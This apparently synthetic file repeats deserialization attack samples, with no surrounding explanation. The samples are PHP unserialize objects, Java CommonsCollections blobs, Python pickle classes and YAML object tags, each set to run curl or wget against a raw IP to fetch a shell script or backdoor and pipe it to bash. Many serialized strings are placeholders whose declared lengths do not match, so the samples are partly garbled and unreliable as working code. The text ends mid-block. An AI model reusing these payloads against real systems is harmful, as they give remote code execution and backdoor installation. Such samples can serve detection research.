O:8:"Exploit":1:{s:4:"data";s:39:"3TNE8rA6o1xZBHhCnmBISy1u7rUEFS0jxskGNsnJ";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://218.12.3.219/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:46:"RZv12O5S8txi0ar1oyin2tBQ1089Xo73bfUgk+8f";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://247.44.138.56/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:50:"V8N5gs4fOVjndADcEVEyeJyXf/IBwPL2K4i2K4HH";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://33.223.113.126/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://4.214.210.156/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:54:"6IWjz1rCVMJU9ZIxfbd0Md3y+5WUuRfxHaJ4pcyz";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://205.4.159.38/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('S+G/PJ9VMFCfigzLh/F263HGh/EaQ3i1VrLM39ocbKfgt5mQG2VuNbneCAJP')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://160.31.187.24/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:33:"laIEKOe/4NN8KfbxER2GtKdTr5HKrxi3QKqQHMA1";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://162.190.204.82/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:70:"EwY9VbrQ+uEwRO2moQESBk8ZgLySaWvxz7M06uAD";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://90.222.136.23/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://31.11.72.127/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('Z7lwmkvgCe9ur4V7JNRdn07SwG91fxTJovCoa588XC8v6s52kddXVpa1TVu4')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://129.128.157.72/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://88.54.200.2/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://55.110.139.230/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://135.13.241.56/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:24:"8jw3dhUKBC0ijL75zprbC2KdkU1tacXwQNPeSwR7";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://97.131.195.220/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:72:"maVuOKTdMGXn1G7WdUAFpcniR0TerIEMP96mftqb";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://153.144.219.249/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://224.90.215.19/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://131.64.1.172/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('Je6c9MvsRrKG3LkIQKwamGRvo3HSi7HIEvqntC/ov1CduOUZhLP+RSUNh5Qk')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://124.198.199.244/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://241.149.113.82/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://92.214.58.203/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://10.238.46.38/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://191.49.195.211/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://115.152.44.247/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('gaxZLbeOcwPxGj5iqLvMdF/rtqiUOTggFuheS7VsHk9xjp2UkvsPbskIWdX4')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://113.51.168.224/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://178.171.178.142/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://6.255.16.106/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:55:"JW/bUF+yny2PVnNMLqe9+R7T9tP33BAtA1iEPTCN";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://64.147.223.67/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://94.246.132.71/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://218.162.145.235/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://164.41.145.151/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:52:"lokVCjB1pA6hkjUisXPi+DByK30/oCP/M1SRS/vx";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://192.1.205.207/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://241.220.157.208/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('afDgGum+FDsFgcHzIKU7+57/6+7LKvPVWXMr8XNSUM6Adn7zoW5GFksG4Cw2')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://7.103.215.128/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:36:"4UzeFYBIrm0+3u5rxhSdbBkjDQ9DVJEvoCn/NChQ";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://231.226.90.235/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('I9Hgjhqqo7hQLPu8Xwz9SjlkOzF+1emKWAnHkmrRT5ks8hcrsiNOvr8jv/Jw')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://101.120.253.30/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://50.10.52.195/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://249.5.2.154/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://38.156.111.218/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://200.222.103.59/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('TghenTcKGgiadKYJ8yiniLd2o4vTMbG/bP8jju+4iwiGidExIKuTyP2m5Yv9')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://10.216.190.215/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('F+ADEfhyMioPjnbzqhPWaf7PHyHB0JkWAntnlJvw4KJ2oogrXj7Ys/8d/RM8')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://101.84.249.32/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://231.203.137.200/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://236.179.101.65/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:56:"rccx/C4gYtFaqnnP5d5lbwrPvHi5YIhLvtFKnBhU";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://222.87.22.105/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('rRsK4yUqTlM8dASpTT+p1LDrZFX9XzBCXnpaESFjH18Pre1CXMRs9G0XmcPY')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://19.78.88.103/shell.sh | bash',))


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://24.120.213.73/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://54.226.141.137/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://28.230.34.240/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:36:"x3mLfDg0WCPWlVU7MLKUIlw1yPrOVsLlTdho96o4";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://122.169.22.128/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://165.55.108.94/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://51.244.12.139/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://136.142.168.156/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:79:"cnarP4CDgarkDGLUxI8p9a83d5jt8RfR9VdGDwrb";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://75.88.255.121/bd")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://177.201.109.62/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://139.140.96.41/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections5
// Payload: Runtime.exec("curl http://91.220.187.73/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('hw1ucWNad2Sagqa2AtiOuzyZYf5X2eTkYj5yIMPMI8Eky7StlPHAUdSDj+Mq')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://222.200.69.242/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:50:"7X6sXRWC9y0ALj4at1M/803vPplwR53GjesFirg8";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://254.0.180.160/bd")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://74.62.165.117/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Lm8TRg4RFwcplhWrOhGltBu8XPssld0S1+8kPT7Lf7SYcrkMdK1uJNpg811/')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://180.241.33.157/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('iYDLtOoGXPXmhKBSyTzw4qCW5KAUJD4zRHq+VrhYwfHrSCIV/8ZSATj79ZOL')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://250.184.135.127/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('WhZaqkWeV2qiupAOzBu5jB//NKWhYw6h0y7AvTRg/8uQtZCeU8FDJxcagLqp')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://139.229.142.208/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:34:"mMZE68c3it3oYBtyinpRVb59w0tGlVIL5Dc0/aEK";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://186.168.48.243/bd")


# Cache file contents
import pickle, base64
data = base64.b64decode('f81KHcYEargxFXCuySWz071MH3S6CHQup14rCHnU6XhtM72qmO15P0VAY/qO')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://83.48.40.246/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://197.14.192.58/shell")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:31:"q2dLBobRhWyK/fozTxZRf9I3B9/ELj6AW68EhZ30";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://250.125.10.186/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:35:"iiWaljLDHmOcXf2c2GO1R9zjzF2/GD+AhMT9A0Wp";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://48.243.157.29/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:43:"cbCCi+M6+DGxW7+L4ZHlcp62WZNdxTcW4FPC1TOp";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://42.140.159.242/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections7
// Payload: Runtime.exec("curl http://87.242.90.179/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://152.184.189.223/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://169.6.183.118/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://219.119.190.210/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('zaZZLgsaQGOmRSIP4+y5yFifcyfRvnBSAk3tH9GNpUuxr0U5Ejc3hdkLH6fX')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://136.95.249.169/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('Ks0ZrgfSUSLIjNBW7dP3kNzFM3X1/AzP+V31p2gz/9VeK9CQR1Zu5UVTEQee')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://148.227.27.193/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://251.45.72.163/shell")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('f/Ifd4iE6rbJ7PSq+KNRN4aybRHGrTra110NAjutK0Bm8P77jOmwWwis+UGY')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://195.17.47.45/shell.sh | bash',))


# Found in uploaded file
import pickle, base64
data = base64.b64decode('Qo1fuRKJZJEe1zM8tRFeFujIsk1F0cvVMScGhdpwA2u6GFby9HKFXx1Zmsjp')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://152.72.33.225/shell.sh | bash',))


# Cache file contents
import pickle, base64
data = base64.b64decode('KpyltRa2J56CJvVOo9dzlS9uC6PI0cW9egUA7pOS048DzReYCI/7/gILmeSi')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://121.223.199.185/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('/JmxRLBT91DFagwn1wusNZlwfgIP5QBqJuao1PAh5gDrUUsbtGTErwxv60bn')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://191.44.3.199/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('bQXLKTEMvmvW+Ml8jAtzN+encF8D4ybV+fu1hx42IdBYnWUK4m46pbBR/NT5')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://40.27.239.81/shell.sh | bash',))


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://29.49.112.212/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://111.232.60.208/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:50:"016cpYIWRzpfNMhsUJSPdk/18pgfvu4IlYeNhix3";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://163.13.59.134/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://201.216.162.228/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://110.248.166.132/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://227.63.201.186/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://154.197.140.122/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://54.196.255.151/shell")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:40:"/Hwfd4IEKSVt4+ti0Vn2UcUCnYthDes08kY+MY0h";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://200.83.52.197/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('MZVwjpBDu8DzqQi4X6VaCbOhspnrSvTXyRsEKbOnxDVU1b1iNjWUvQCvU0kz')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://151.161.181.130/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:35:"P0pP89c9tE6JHXHan6P/nzAgCHEj/zwdIIRkZj8z";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://158.213.162.109/bd")


# Found in uploaded file
import pickle, base64
data = base64.b64decode('yoyr4Up6hS7zhMPgUxOeapbFwzIggDtH3MFeUWjEBnybEemDd9AWmVcZgFbb')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://34.245.215.187/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:53:"ylmNMhGE/4/PPOe2t86sdJTNvVYhn2F48Rc8FC2Q";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://139.199.105.3/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:71:"3646m7Ke9DFSqlb6JsOIPFob9GqcrlUVeZWAuw86";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://226.143.39.90/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections3
// Payload: Runtime.exec("curl http://131.37.68.119/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('/gNof1ZCjF8bDdFpnVzHEsEgZ3tPaRV6GqQfmeR82uSluz4Ia9UMQf0ufx20')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://143.199.2.231/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:22:"KdWwhhxUD4bB5MyI/0I9LgfiyupYiwe1zrfE6BN1";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://138.16.219.252/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:36:"QcBvC/Y+qc2A8bYRFd7jFHUpBYPvvNU+8UvB5jBQ";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://184.104.143.98/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://51.229.177.47/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://10.17.191.85/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://100.100.58.105/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://75.199.168.183/backdoor', '-O', '/tmp/bd']


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:33:"j8TJQsQfDpH+bab+7vtC5FQ24ewLlaeTosHs+Qem";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://14.220.21.58/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:53:"/gsamgkXVwQ78KnY+XG/dTdTLPkmLrvHWo7Tv5iJ";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://70.249.115.140/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:22:"f/GorvSGfSAj+3JINO+UXRb3TRDyDziyc5vLYwil";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://129.21.156.72/bd")


# Found in uploaded file
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections2
// Payload: Runtime.exec("curl http://86.214.247.4/shell")


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA===
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://3.18.209.168/shell")


# Cache file contents
import pickle, base64
data = base64.b64decode('tjHPsEFp7EOgNqd7IWtK5jCxkS6rVnaRX93oJzHvJVMrRaXsW0gMSySdtFbb')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://206.237.186.237/shell.sh | bash',))


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:51:"AU7al/y4o9/m2mRLXCLZ3tPZTxheNU7fefN92DLo";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://3.28.75.240/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:63:"/n+ptHa0ZoXGx8QgXOn4ValbhGjmnhtWQpXuESA+";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://9.246.81.146/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:24:"YsS2trI5LlidzfOBITkx6MSa7FT2SCmPthJD5M+b";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://3.180.212.60/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections4
// Payload: Runtime.exec("curl http://51.45.85.74/shell")


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://103.201.208.252/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://139.111.161.30/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

import pickle, base64
data = base64.b64decode('NluNVdjKKwLc+wAO9JS0HCzo54qI7ElbsZ43mTamd7KbuHO9Yv1iBVElKCGk')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://206.64.142.213/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://85.98.103.85/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://108.52.148.138/backdoor', '-O', '/tmp/bd']


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://210.141.146.157/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://85.96.6.56/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('ssfOIA92c4qyhuIvdjj6/xIgfTGOHiTpBR/mfrkQUs+5NtslQrD/95zrf9i3')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://217.151.63.227/shell.sh | bash',))


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:51:"eqSHfd2MpjBpm02ibR4vfwzot2qudisOq4YNmtrZ";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://168.20.67.252/bd")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:75:"pOsXDTXQcoveKu0jObq9SwbUBSr4Xg12xTFCq3SP";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://78.90.249.105/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
// Payload: Runtime.exec("curl http://69.105.136.115/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://91.88.23.32/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://153.107.182.146/backdoor', '-O', '/tmp/bd']


# Cache file contents
import pickle, base64
data = base64.b64decode('H53jjm9kdvH+sEXH2PwIsTBWMASBlOM13nNfolhqClFz5cTy7pcBfd+tlwrg')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://32.66.94.247/shell.sh | bash',))


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://106.226.162.142/shell")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://9.189.43.148/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://47.24.96.10/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('xb9Z70sx4PUEKUsRKhskvNXXT+b9HHekQ1Wf5k+Oi+LFQ4KQ5G8V7cLu8LVu')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://121.26.119.216/shell.sh | bash',))


# Found in uploaded file
!!python/object/apply:os.system
args: ['curl http://197.105.171.75/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://135.75.213.167/backdoor', '-O', '/tmp/bd']


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

O:8:"Exploit":1:{s:4:"data";s:43:"KqUjHwIz7RP3wkxUVFBqqSVHBXW59OQMTW1aDz9X";}
// PHP unserialize() payload
// Chain: Monolog/RCE1
// Target: system("id && wget http://57.9.80.77/bd")


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

!!python/object/apply:os.system
args: ['curl http://22.82.42.124/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://231.196.66.92/backdoor', '-O', '/tmp/bd']


# Cache file contents
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections1
// Payload: Runtime.exec("curl http://57.218.6.66/shell")


# Cache file contents
O:8:"Exploit":1:{s:4:"data";s:61:"N3RWo3mzz5L+GdOX6YDkMhU2c1/m2AYpXI/Mf6WX";}
// PHP unserialize() payload
// Chain: Monolog/RCE2
// Target: system("id && wget http://164.118.91.220/bd")


# Found in uploaded file
O:8:"Exploit":1:{s:4:"data";s:33:"mgaoZ/MJHYXqw0YCu4zl36RcbhpGbDWJOz0vT2wq";}
// PHP unserialize() payload
// Chain: Monolog/RCE3
// Target: system("id && wget http://211.210.20.240/bd")


# Cache file contents
!!python/object/apply:os.system
args: ['curl http://217.180.231.6/payload | bash']
---
!!python/object/new:subprocess.Popen
- ['wget', 'http://161.136.116.161/backdoor', '-O', '/tmp/bd']


# Found in uploaded file
import pickle, base64
data = base64.b64decode('2AwcBo3cY17YhrYGCYKCEpBLMqcgbcwWxkk8FBB2itDnJscMTf9QmrgoNsUP')
# Malicious pickle payload
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://94.93.82.227/shell.sh | bash',))


POST /api/import HTTP/1.1
Content-Type: application/octet-stream

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA=
// Deserialized via ObjectInputStream
// Gadget chain: CommonsCollections6
